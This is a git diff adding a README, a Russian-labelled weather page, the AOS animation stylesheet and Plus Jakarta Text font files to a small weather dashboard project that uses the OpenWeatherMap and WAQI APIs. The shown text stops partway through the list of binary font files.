diff --git a/README.md b/README.md index e33ac39..10c7743 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,19 @@ -# meteoboard -One-page HTML and JS website with weather information (OWM Api) and meteo station sensor readings(narodmon api) +# MeteoBoard +## One-page HTML and JS website with weather information (OWM Api) and meteo station sensor readings(narodmon api) + +### Figma File: + +### How to run? +1. Open file ./js/api.js +2. Set the coordinates of your city in **lat** ang **lon** variables (example lat = 43.25 and lon = 76.95) +3. Set the OpenWeatherMap API key in **apiKey** variable (https://openweathermap.org/api) +4. Set the WAQI API key in **airApiKey** variable (https://aqicn.org/api) +5. Run page! + +### Todo: +~~make a design in figma~~ +~~Create an html page based on the design~~ +~~add integration with openweathermap (weather data)~~ +~~add integration with the wagi api (data api)~~ +add integration with the narodmon api (meteo sensors data) +english supports diff --git a/api.html b/api.html new file mode 100644 index 0000000..6a29779 --- /dev/null +++ b/api.html @@ -0,0 +1,37 @@ + + + + + Прогноз погоды + + + +
+

Текущая погода

+

Температура:

+

Влажность:

+

Время запроса:

+

Восход:

+

Закат:

+

Скорость ветра:

+

Направление ветра:

+

Состояние погоды:

+

UV индекс:

+
+
+

Почасовая погода (на 7 часов вперед)

+
+
+

Прогноз на неделю

+
+ + + + diff --git a/css/aos.css b/css/aos.css new file mode 100644 index 0000000..fe407ec --- /dev/null +++ b/css/aos.css @@ -0,0 +1,2 @@ +[data-aos][data-aos][data-aos-duration='50'],body[data-aos-duration='50'] [data-aos]{transition-duration:50ms}[data-aos][data-aos][data-aos-delay='50'],body[data-aos-delay='50'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='50'].aos-animate,body[data-aos-delay='50'] [data-aos].aos-animate{transition-delay:50ms}[data-aos][data-aos][data-aos-duration='100'],body[data-aos-duration='100'] [data-aos]{transition-duration:.1s}[data-aos][data-aos][data-aos-delay='100'],body[data-aos-delay='100'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='100'].aos-animate,body[data-aos-delay='100'] [data-aos].aos-animate{transition-delay:.1s}[data-aos][data-aos][data-aos-duration='150'],body[data-aos-duration='150'] [data-aos]{transition-duration:.15s}[data-aos][data-aos][data-aos-delay='150'],body[data-aos-delay='150'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='150'].aos-animate,body[data-aos-delay='150'] [data-aos].aos-animate{transition-delay:.15s}[data-aos][data-aos][data-aos-duration='200'],body[data-aos-duration='200'] [data-aos]{transition-duration:.2s}[data-aos][data-aos][data-aos-delay='200'],body[data-aos-delay='200'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='200'].aos-animate,body[data-aos-delay='200'] [data-aos].aos-animate{transition-delay:.2s}[data-aos][data-aos][data-aos-duration='250'],body[data-aos-duration='250'] [data-aos]{transition-duration:.25s}[data-aos][data-aos][data-aos-delay='250'],body[data-aos-delay='250'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='250'].aos-animate,body[data-aos-delay='250'] [data-aos].aos-animate{transition-delay:.25s}[data-aos][data-aos][data-aos-duration='300'],body[data-aos-duration='300'] [data-aos]{transition-duration:.3s}[data-aos][data-aos][data-aos-delay='300'],body[data-aos-delay='300'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='300'].aos-animate,body[data-aos-delay='300'] [data-aos].aos-animate{transition-delay:.3s}[data-aos][data-aos][data-aos-duration='350'],body[data-aos-duration='350'] [data-aos]{transition-duration:.35s}[data-aos][data-aos][data-aos-delay='350'],body[data-aos-delay='350'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='350'].aos-animate,body[data-aos-delay='350'] [data-aos].aos-animate{transition-delay:.35s}[data-aos][data-aos][data-aos-duration='400'],body[data-aos-duration='400'] [data-aos]{transition-duration:.4s}[data-aos][data-aos][data-aos-delay='400'],body[data-aos-delay='400'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='400'].aos-animate,body[data-aos-delay='400'] [data-aos].aos-animate{transition-delay:.4s}[data-aos][data-aos][data-aos-duration='450'],body[data-aos-duration='450'] [data-aos]{transition-duration:.45s}[data-aos][data-aos][data-aos-delay='450'],body[data-aos-delay='450'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='450'].aos-animate,body[data-aos-delay='450'] [data-aos].aos-animate{transition-delay:.45s}[data-aos][data-aos][data-aos-duration='500'],body[data-aos-duration='500'] [data-aos]{transition-duration:.5s}[data-aos][data-aos][data-aos-delay='500'],body[data-aos-delay='500'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='500'].aos-animate,body[data-aos-delay='500'] [data-aos].aos-animate{transition-delay:.5s}[data-aos][data-aos][data-aos-duration='550'],body[data-aos-duration='550'] [data-aos]{transition-duration:.55s}[data-aos][data-aos][data-aos-delay='550'],body[data-aos-delay='550'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='550'].aos-animate,body[data-aos-delay='550'] [data-aos].aos-animate{transition-delay:.55s}[data-aos][data-aos][data-aos-duration='600'],body[data-aos-duration='600'] [data-aos]{transition-duration:.6s}[data-aos][data-aos][data-aos-delay='600'],body[data-aos-delay='600'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='600'].aos-animate,body[data-aos-delay='600'] [data-aos].aos-animate{transition-delay:.6s}[data-aos][data-aos][data-aos-duration='650'],body[data-aos-duration='650'] [data-aos]{transition-duration:.65s}[data-aos][data-aos][data-aos-delay='650'],body[data-aos-delay='650'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='650'].aos-animate,body[data-aos-delay='650'] [data-aos].aos-animate{transition-delay:.65s}[data-aos][data-aos][data-aos-duration='700'],body[data-aos-duration='700'] [data-aos]{transition-duration:.7s}[data-aos][data-aos][data-aos-delay='700'],body[data-aos-delay='700'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='700'].aos-animate,body[data-aos-delay='700'] [data-aos].aos-animate{transition-delay:.7s}[data-aos][data-aos][data-aos-duration='750'],body[data-aos-duration='750'] [data-aos]{transition-duration:.75s}[data-aos][data-aos][data-aos-delay='750'],body[data-aos-delay='750'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='750'].aos-animate,body[data-aos-delay='750'] [data-aos].aos-animate{transition-delay:.75s}[data-aos][data-aos][data-aos-duration='800'],body[data-aos-duration='800'] [data-aos]{transition-duration:.8s}[data-aos][data-aos][data-aos-delay='800'],body[data-aos-delay='800'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='800'].aos-animate,body[data-aos-delay='800'] [data-aos].aos-animate{transition-delay:.8s}[data-aos][data-aos][data-aos-duration='850'],body[data-aos-duration='850'] [data-aos]{transition-duration:.85s}[data-aos][data-aos][data-aos-delay='850'],body[data-aos-delay='850'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='850'].aos-animate,body[data-aos-delay='850'] [data-aos].aos-animate{transition-delay:.85s}[data-aos][data-aos][data-aos-duration='900'],body[data-aos-duration='900'] [data-aos]{transition-duration:.9s}[data-aos][data-aos][data-aos-delay='900'],body[data-aos-delay='900'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='900'].aos-animate,body[data-aos-delay='900'] [data-aos].aos-animate{transition-delay:.9s}[data-aos][data-aos][data-aos-duration='950'],body[data-aos-duration='950'] [data-aos]{transition-duration:.95s}[data-aos][data-aos][data-aos-delay='950'],body[data-aos-delay='950'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='950'].aos-animate,body[data-aos-delay='950'] [data-aos].aos-animate{transition-delay:.95s}[data-aos][data-aos][data-aos-duration='1000'],body[data-aos-duration='1000'] [data-aos]{transition-duration:1s}[data-aos][data-aos][data-aos-delay='1000'],body[data-aos-delay='1000'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1000'].aos-animate,body[data-aos-delay='1000'] [data-aos].aos-animate{transition-delay:1s}[data-aos][data-aos][data-aos-duration='1050'],body[data-aos-duration='1050'] [data-aos]{transition-duration:1.05s}[data-aos][data-aos][data-aos-delay='1050'],body[data-aos-delay='1050'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1050'].aos-animate,body[data-aos-delay='1050'] [data-aos].aos-animate{transition-delay:1.05s}[data-aos][data-aos][data-aos-duration='1100'],body[data-aos-duration='1100'] [data-aos]{transition-duration:1.1s}[data-aos][data-aos][data-aos-delay='1100'],body[data-aos-delay='1100'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1100'].aos-animate,body[data-aos-delay='1100'] [data-aos].aos-animate{transition-delay:1.1s}[data-aos][data-aos][data-aos-duration='1150'],body[data-aos-duration='1150'] [data-aos]{transition-duration:1.15s}[data-aos][data-aos][data-aos-delay='1150'],body[data-aos-delay='1150'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1150'].aos-animate,body[data-aos-delay='1150'] [data-aos].aos-animate{transition-delay:1.15s}[data-aos][data-aos][data-aos-duration='1200'],body[data-aos-duration='1200'] [data-aos]{transition-duration:1.2s}[data-aos][data-aos][data-aos-delay='1200'],body[data-aos-delay='1200'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1200'].aos-animate,body[data-aos-delay='1200'] [data-aos].aos-animate{transition-delay:1.2s}[data-aos][data-aos][data-aos-duration='1250'],body[data-aos-duration='1250'] [data-aos]{transition-duration:1.25s}[data-aos][data-aos][data-aos-delay='1250'],body[data-aos-delay='1250'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1250'].aos-animate,body[data-aos-delay='1250'] [data-aos].aos-animate{transition-delay:1.25s}[data-aos][data-aos][data-aos-duration='1300'],body[data-aos-duration='1300'] [data-aos]{transition-duration:1.3s}[data-aos][data-aos][data-aos-delay='1300'],body[data-aos-delay='1300'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1300'].aos-animate,body[data-aos-delay='1300'] [data-aos].aos-animate{transition-delay:1.3s}[data-aos][data-aos][data-aos-duration='1350'],body[data-aos-duration='1350'] [data-aos]{transition-duration:1.35s}[data-aos][data-aos][data-aos-delay='1350'],body[data-aos-delay='1350'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1350'].aos-animate,body[data-aos-delay='1350'] [data-aos].aos-animate{transition-delay:1.35s}[data-aos][data-aos][data-aos-duration='1400'],body[data-aos-duration='1400'] [data-aos]{transition-duration:1.4s}[data-aos][data-aos][data-aos-delay='1400'],body[data-aos-delay='1400'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1400'].aos-animate,body[data-aos-delay='1400'] [data-aos].aos-animate{transition-delay:1.4s}[data-aos][data-aos][data-aos-duration='1450'],body[data-aos-duration='1450'] [data-aos]{transition-duration:1.45s}[data-aos][data-aos][data-aos-delay='1450'],body[data-aos-delay='1450'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1450'].aos-animate,body[data-aos-delay='1450'] [data-aos].aos-animate{transition-delay:1.45s}[data-aos][data-aos][data-aos-duration='1500'],body[data-aos-duration='1500'] [data-aos]{transition-duration:1.5s}[data-aos][data-aos][data-aos-delay='1500'],body[data-aos-delay='1500'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1500'].aos-animate,body[data-aos-delay='1500'] [data-aos].aos-animate{transition-delay:1.5s}[data-aos][data-aos][data-aos-duration='1550'],body[data-aos-duration='1550'] [data-aos]{transition-duration:1.55s}[data-aos][data-aos][data-aos-delay='1550'],body[data-aos-delay='1550'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1550'].aos-animate,body[data-aos-delay='1550'] [data-aos].aos-animate{transition-delay:1.55s}[data-aos][data-aos][data-aos-duration='1600'],body[data-aos-duration='1600'] [data-aos]{transition-duration:1.6s}[data-aos][data-aos][data-aos-delay='1600'],body[data-aos-delay='1600'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1600'].aos-animate,body[data-aos-delay='1600'] [data-aos].aos-animate{transition-delay:1.6s}[data-aos][data-aos][data-aos-duration='1650'],body[data-aos-duration='1650'] [data-aos]{transition-duration:1.65s}[data-aos][data-aos][data-aos-delay='1650'],body[data-aos-delay='1650'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1650'].aos-animate,body[data-aos-delay='1650'] [data-aos].aos-animate{transition-delay:1.65s}[data-aos][data-aos][data-aos-duration='1700'],body[data-aos-duration='1700'] [data-aos]{transition-duration:1.7s}[data-aos][data-aos][data-aos-delay='1700'],body[data-aos-delay='1700'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1700'].aos-animate,body[data-aos-delay='1700'] [data-aos].aos-animate{transition-delay:1.7s}[data-aos][data-aos][data-aos-duration='1750'],body[data-aos-duration='1750'] [data-aos]{transition-duration:1.75s}[data-aos][data-aos][data-aos-delay='1750'],body[data-aos-delay='1750'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1750'].aos-animate,body[data-aos-delay='1750'] [data-aos].aos-animate{transition-delay:1.75s}[data-aos][data-aos][data-aos-duration='1800'],body[data-aos-duration='1800'] [data-aos]{transition-duration:1.8s}[data-aos][data-aos][data-aos-delay='1800'],body[data-aos-delay='1800'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1800'].aos-animate,body[data-aos-delay='1800'] [data-aos].aos-animate{transition-delay:1.8s}[data-aos][data-aos][data-aos-duration='1850'],body[data-aos-duration='1850'] [data-aos]{transition-duration:1.85s}[data-aos][data-aos][data-aos-delay='1850'],body[data-aos-delay='1850'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1850'].aos-animate,body[data-aos-delay='1850'] [data-aos].aos-animate{transition-delay:1.85s}[data-aos][data-aos][data-aos-duration='1900'],body[data-aos-duration='1900'] [data-aos]{transition-duration:1.9s}[data-aos][data-aos][data-aos-delay='1900'],body[data-aos-delay='1900'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1900'].aos-animate,body[data-aos-delay='1900'] [data-aos].aos-animate{transition-delay:1.9s}[data-aos][data-aos][data-aos-duration='1950'],body[data-aos-duration='1950'] [data-aos]{transition-duration:1.95s}[data-aos][data-aos][data-aos-delay='1950'],body[data-aos-delay='1950'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1950'].aos-animate,body[data-aos-delay='1950'] [data-aos].aos-animate{transition-delay:1.95s}[data-aos][data-aos][data-aos-duration='2000'],body[data-aos-duration='2000'] [data-aos]{transition-duration:2s}[data-aos][data-aos][data-aos-delay='2000'],body[data-aos-delay='2000'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2000'].aos-animate,body[data-aos-delay='2000'] [data-aos].aos-animate{transition-delay:2s}[data-aos][data-aos][data-aos-duration='2050'],body[data-aos-duration='2050'] [data-aos]{transition-duration:2.05s}[data-aos][data-aos][data-aos-delay='2050'],body[data-aos-delay='2050'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2050'].aos-animate,body[data-aos-delay='2050'] [data-aos].aos-animate{transition-delay:2.05s}[data-aos][data-aos][data-aos-duration='2100'],body[data-aos-duration='2100'] [data-aos]{transition-duration:2.1s}[data-aos][data-aos][data-aos-delay='2100'],body[data-aos-delay='2100'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2100'].aos-animate,body[data-aos-delay='2100'] [data-aos].aos-animate{transition-delay:2.1s}[data-aos][data-aos][data-aos-duration='2150'],body[data-aos-duration='2150'] [data-aos]{transition-duration:2.15s}[data-aos][data-aos][data-aos-delay='2150'],body[data-aos-delay='2150'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2150'].aos-animate,body[data-aos-delay='2150'] [data-aos].aos-animate{transition-delay:2.15s}[data-aos][data-aos][data-aos-duration='2200'],body[data-aos-duration='2200'] [data-aos]{transition-duration:2.2s}[data-aos][data-aos][data-aos-delay='2200'],body[data-aos-delay='2200'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2200'].aos-animate,body[data-aos-delay='2200'] [data-aos].aos-animate{transition-delay:2.2s}[data-aos][data-aos][data-aos-duration='2250'],body[data-aos-duration='2250'] [data-aos]{transition-duration:2.25s}[data-aos][data-aos][data-aos-delay='2250'],body[data-aos-delay='2250'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2250'].aos-animate,body[data-aos-delay='2250'] [data-aos].aos-animate{transition-delay:2.25s}[data-aos][data-aos][data-aos-duration='2300'],body[data-aos-duration='2300'] [data-aos]{transition-duration:2.3s}[data-aos][data-aos][data-aos-delay='2300'],body[data-aos-delay='2300'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2300'].aos-animate,body[data-aos-delay='2300'] [data-aos].aos-animate{transition-delay:2.3s}[data-aos][data-aos][data-aos-duration='2350'],body[data-aos-duration='2350'] [data-aos]{transition-duration:2.35s}[data-aos][data-aos][data-aos-delay='2350'],body[data-aos-delay='2350'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2350'].aos-animate,body[data-aos-delay='2350'] [data-aos].aos-animate{transition-delay:2.35s}[data-aos][data-aos][data-aos-duration='2400'],body[data-aos-duration='2400'] [data-aos]{transition-duration:2.4s}[data-aos][data-aos][data-aos-delay='2400'],body[data-aos-delay='2400'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2400'].aos-animate,body[data-aos-delay='2400'] [data-aos].aos-animate{transition-delay:2.4s}[data-aos][data-aos][data-aos-duration='2450'],body[data-aos-duration='2450'] [data-aos]{transition-duration:2.45s}[data-aos][data-aos][data-aos-delay='2450'],body[data-aos-delay='2450'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2450'].aos-animate,body[data-aos-delay='2450'] [data-aos].aos-animate{transition-delay:2.45s}[data-aos][data-aos][data-aos-duration='2500'],body[data-aos-duration='2500'] [data-aos]{transition-duration:2.5s}[data-aos][data-aos][data-aos-delay='2500'],body[data-aos-delay='2500'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2500'].aos-animate,body[data-aos-delay='2500'] [data-aos].aos-animate{transition-delay:2.5s}[data-aos][data-aos][data-aos-duration='2550'],body[data-aos-duration='2550'] [data-aos]{transition-duration:2.55s}[data-aos][data-aos][data-aos-delay='2550'],body[data-aos-delay='2550'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2550'].aos-animate,body[data-aos-delay='2550'] [data-aos].aos-animate{transition-delay:2.55s}[data-aos][data-aos][data-aos-duration='2600'],body[data-aos-duration='2600'] [data-aos]{transition-duration:2.6s}[data-aos][data-aos][data-aos-delay='2600'],body[data-aos-delay='2600'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2600'].aos-animate,body[data-aos-delay='2600'] [data-aos].aos-animate{transition-delay:2.6s}[data-aos][data-aos][data-aos-duration='2650'],body[data-aos-duration='2650'] [data-aos]{transition-duration:2.65s}[data-aos][data-aos][data-aos-delay='2650'],body[data-aos-delay='2650'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2650'].aos-animate,body[data-aos-delay='2650'] [data-aos].aos-animate{transition-delay:2.65s}[data-aos][data-aos][data-aos-duration='2700'],body[data-aos-duration='2700'] [data-aos]{transition-duration:2.7s}[data-aos][data-aos][data-aos-delay='2700'],body[data-aos-delay='2700'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2700'].aos-animate,body[data-aos-delay='2700'] [data-aos].aos-animate{transition-delay:2.7s}[data-aos][data-aos][data-aos-duration='2750'],body[data-aos-duration='2750'] [data-aos]{transition-duration:2.75s}[data-aos][data-aos][data-aos-delay='2750'],body[data-aos-delay='2750'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2750'].aos-animate,body[data-aos-delay='2750'] [data-aos].aos-animate{transition-delay:2.75s}[data-aos][data-aos][data-aos-duration='2800'],body[data-aos-duration='2800'] [data-aos]{transition-duration:2.8s}[data-aos][data-aos][data-aos-delay='2800'],body[data-aos-delay='2800'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2800'].aos-animate,body[data-aos-delay='2800'] [data-aos].aos-animate{transition-delay:2.8s}[data-aos][data-aos][data-aos-duration='2850'],body[data-aos-duration='2850'] [data-aos]{transition-duration:2.85s}[data-aos][data-aos][data-aos-delay='2850'],body[data-aos-delay='2850'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2850'].aos-animate,body[data-aos-delay='2850'] [data-aos].aos-animate{transition-delay:2.85s}[data-aos][data-aos][data-aos-duration='2900'],body[data-aos-duration='2900'] [data-aos]{transition-duration:2.9s}[data-aos][data-aos][data-aos-delay='2900'],body[data-aos-delay='2900'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2900'].aos-animate,body[data-aos-delay='2900'] [data-aos].aos-animate{transition-delay:2.9s}[data-aos][data-aos][data-aos-duration='2950'],body[data-aos-duration='2950'] [data-aos]{transition-duration:2.95s}[data-aos][data-aos][data-aos-delay='2950'],body[data-aos-delay='2950'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2950'].aos-animate,body[data-aos-delay='2950'] [data-aos].aos-animate{transition-delay:2.95s}[data-aos][data-aos][data-aos-duration='3000'],body[data-aos-duration='3000'] [data-aos]{transition-duration:3s}[data-aos][data-aos][data-aos-delay='3000'],body[data-aos-delay='3000'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='3000'].aos-animate,body[data-aos-delay='3000'] [data-aos].aos-animate{transition-delay:3s}[data-aos][data-aos][data-aos-easing=linear],body[data-aos-easing=linear] [data-aos]{transition-timing-function:cubic-bezier(.25,.25,.75,.75)}[data-aos][data-aos][data-aos-easing=ease],body[data-aos-easing=ease] [data-aos]{transition-timing-function:ease}[data-aos][data-aos][data-aos-easing=ease-in],body[data-aos-easing=ease-in] [data-aos]{transition-timing-function:ease-in}[data-aos][data-aos][data-aos-easing=ease-out],body[data-aos-easing=ease-out] [data-aos]{transition-timing-function:ease-out}[data-aos][data-aos][data-aos-easing=ease-in-out],body[data-aos-easing=ease-in-out] [data-aos]{transition-timing-function:ease-in-out}[data-aos][data-aos][data-aos-easing=ease-in-back],body[data-aos-easing=ease-in-back] [data-aos]{transition-timing-function:cubic-bezier(.6,-.28,.735,.045)}[data-aos][data-aos][data-aos-easing=ease-out-back],body[data-aos-easing=ease-out-back] [data-aos]{transition-timing-function:cubic-bezier(.175,.885,.32,1.275)}[data-aos][data-aos][data-aos-easing=ease-in-out-back],body[data-aos-easing=ease-in-out-back] [data-aos]{transition-timing-function:cubic-bezier(.68,-.55,.265,1.55)}[data-aos][data-aos][data-aos-easing=ease-in-sine],body[data-aos-easing=ease-in-sine] [data-aos]{transition-timing-function:cubic-bezier(.47,0,.745,.715)}[data-aos][data-aos][data-aos-easing=ease-out-sine],body[data-aos-easing=ease-out-sine] [data-aos]{transition-timing-function:cubic-bezier(.39,.575,.565,1)}[data-aos][data-aos][data-aos-easing=ease-in-out-sine],body[data-aos-easing=ease-in-out-sine] [data-aos]{transition-timing-function:cubic-bezier(.445,.05,.55,.95)}[data-aos][data-aos][data-aos-easing=ease-in-quad],body[data-aos-easing=ease-in-quad] [data-aos]{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[data-aos][data-aos][data-aos-easing=ease-out-quad],body[data-aos-easing=ease-out-quad] [data-aos]{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[data-aos][data-aos][data-aos-easing=ease-in-out-quad],body[data-aos-easing=ease-in-out-quad] [data-aos]{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[data-aos][data-aos][data-aos-easing=ease-in-cubic],body[data-aos-easing=ease-in-cubic] [data-aos]{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[data-aos][data-aos][data-aos-easing=ease-out-cubic],body[data-aos-easing=ease-out-cubic] [data-aos]{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[data-aos][data-aos][data-aos-easing=ease-in-out-cubic],body[data-aos-easing=ease-in-out-cubic] [data-aos]{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[data-aos][data-aos][data-aos-easing=ease-in-quart],body[data-aos-easing=ease-in-quart] [data-aos]{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[data-aos][data-aos][data-aos-easing=ease-out-quart],body[data-aos-easing=ease-out-quart] [data-aos]{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[data-aos][data-aos][data-aos-easing=ease-in-out-quart],body[data-aos-easing=ease-in-out-quart] [data-aos]{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[data-aos^=fade][data-aos^=fade]{opacity:0;transition-property:opacity,transform}[data-aos^=fade][data-aos^=fade].aos-animate{opacity:1;transform:translate(0)}[data-aos=fade-up]{transform:translateY(100px)}[data-aos=fade-down]{transform:translateY(-100px)}[data-aos=fade-right]{transform:translate(-100px)}[data-aos=fade-left]{transform:translate(100px)}[data-aos=fade-up-right]{transform:translate(-100px,100px)}[data-aos=fade-up-left]{transform:translate(100px,100px)}[data-aos=fade-down-right]{transform:translate(-100px,-100px)}[data-aos=fade-down-left]{transform:translate(100px,-100px)}[data-aos^=zoom][data-aos^=zoom]{opacity:0;transition-property:opacity,transform}[data-aos^=zoom][data-aos^=zoom].aos-animate{opacity:1;transform:translate(0) scale(1)}[data-aos=zoom-in]{transform:scale(.6)}[data-aos=zoom-in-up]{transform:translateY(100px) scale(.6)}[data-aos=zoom-in-down]{transform:translateY(-100px) scale(.6)}[data-aos=zoom-in-right]{transform:translate(-100px) scale(.6)}[data-aos=zoom-in-left]{transform:translate(100px) scale(.6)}[data-aos=zoom-out]{transform:scale(1.2)}[data-aos=zoom-out-up]{transform:translateY(100px) scale(1.2)}[data-aos=zoom-out-down]{transform:translateY(-100px) scale(1.2)}[data-aos=zoom-out-right]{transform:translate(-100px) scale(1.2)}[data-aos=zoom-out-left]{transform:translate(100px) scale(1.2)}[data-aos^=slide][data-aos^=slide]{transition-property:transform}[data-aos^=slide][data-aos^=slide].aos-animate{transform:translate(0)}[data-aos=slide-up]{transform:translateY(100%)}[data-aos=slide-down]{transform:translateY(-100%)}[data-aos=slide-right]{transform:translateX(-100%)}[data-aos=slide-left]{transform:translateX(100%)}[data-aos^=flip][data-aos^=flip]{backface-visibility:hidden;transition-property:transform}[data-aos=flip-left]{transform:perspective(2500px) rotateY(-100deg)}[data-aos=flip-left].aos-animate{transform:perspective(2500px) rotateY(0)}[data-aos=flip-right]{transform:perspective(2500px) rotateY(100deg)}[data-aos=flip-right].aos-animate{transform:perspective(2500px) rotateY(0)}[data-aos=flip-up]{transform:perspective(2500px) rotateX(-100deg)}[data-aos=flip-up].aos-animate{transform:perspective(2500px) rotateX(0)}[data-aos=flip-down]{transform:perspective(2500px) rotateX(100deg)}[data-aos=flip-down].aos-animate{transform:perspective(2500px) rotateX(0)} +/*# sourceMappingURL=aos.css.map*/ \ No newline at end of file diff --git a/css/plus-jakarta-text.min.css b/css/plus-jakarta-text.min.css new file mode 100644 index 0000000..749bfc3 --- /dev/null +++ b/css/plus-jakarta-text.min.css @@ -0,0 +1,8 @@ +/** + * Minified by jsDelivr using clean-css v5.3.2. + * Original file: /npm/@xz/fonts@1.0.2/serve/plus-jakarta-text.css + * + * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files + */ +@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-Light.woff2') format('woff2'),url('../fonts/PlusJakartaText-Light.woff') format('woff');font-weight:300;font-style:normal;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-LightItalic.woff2') format('woff2'),url('../fonts/PlusJakartaText-LightItalic.woff') format('woff');font-weight:300;font-style:italic;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-Regular.woff2') format('woff2'),url('../fonts/PlusJakartaText-Regular.woff') format('woff');font-weight:400;font-style:normal;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-Italic.woff2') format('woff2'),url('../fonts/PlusJakartaText-Italic.woff') format('woff');font-weight:400;font-style:italic;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-Bold.woff2') format('woff2'),url('../fonts/PlusJakartaText-Bold.woff') format('woff');font-weight:700;font-style:normal;font-display:swap}@font-face{font-family:'Plus Jakarta Text';src:url('../fonts/PlusJakartaText-BoldItalic.woff2') format('woff2'),url('../fonts/PlusJakartaText-BoldItalic.woff') format('woff');font-weight:700;font-style:italic;font-display:swap} +/*# sourceMappingURL=/sm/34fbdbc0c18592b294d57e5ec4151b9bb66eb73f579913013817af219ee95721.map */ \ No newline at end of file diff --git a/favicon.ico b/favicon.ico new file mode 100644 index 0000000..8968ec6 Binary files /dev/null and b/favicon.ico differ diff --git a/fonts/PlusJakartaText-Bold.woff b/fonts/PlusJakartaText-Bold.woff new file mode 100644 index 0000000..4d81e6b Binary files /dev/null and b/fonts/PlusJakartaText-Bold.woff differ diff --git a/fonts/PlusJakartaText-Bold.woff2 b/fonts/PlusJakartaText-Bold.woff2 new file mode 100644 index 0000000..7c1611c Binary files /dev/null and b/fonts/PlusJakartaText-Bold.woff2 differ diff --git a/fonts/PlusJakartaText-BoldItalic.woff b/fonts/PlusJakartaText-BoldItalic.woff new file mode 100644 index 0000000..88ba733 Binary files /dev/null and b/fonts/PlusJakartaText-BoldItalic.woff differ diff --git a/fonts/PlusJakartaText-BoldItalic.woff2 b/fonts/PlusJakartaText-BoldItalic.woff2 new file mode 100644 index 0000000..085c6b4 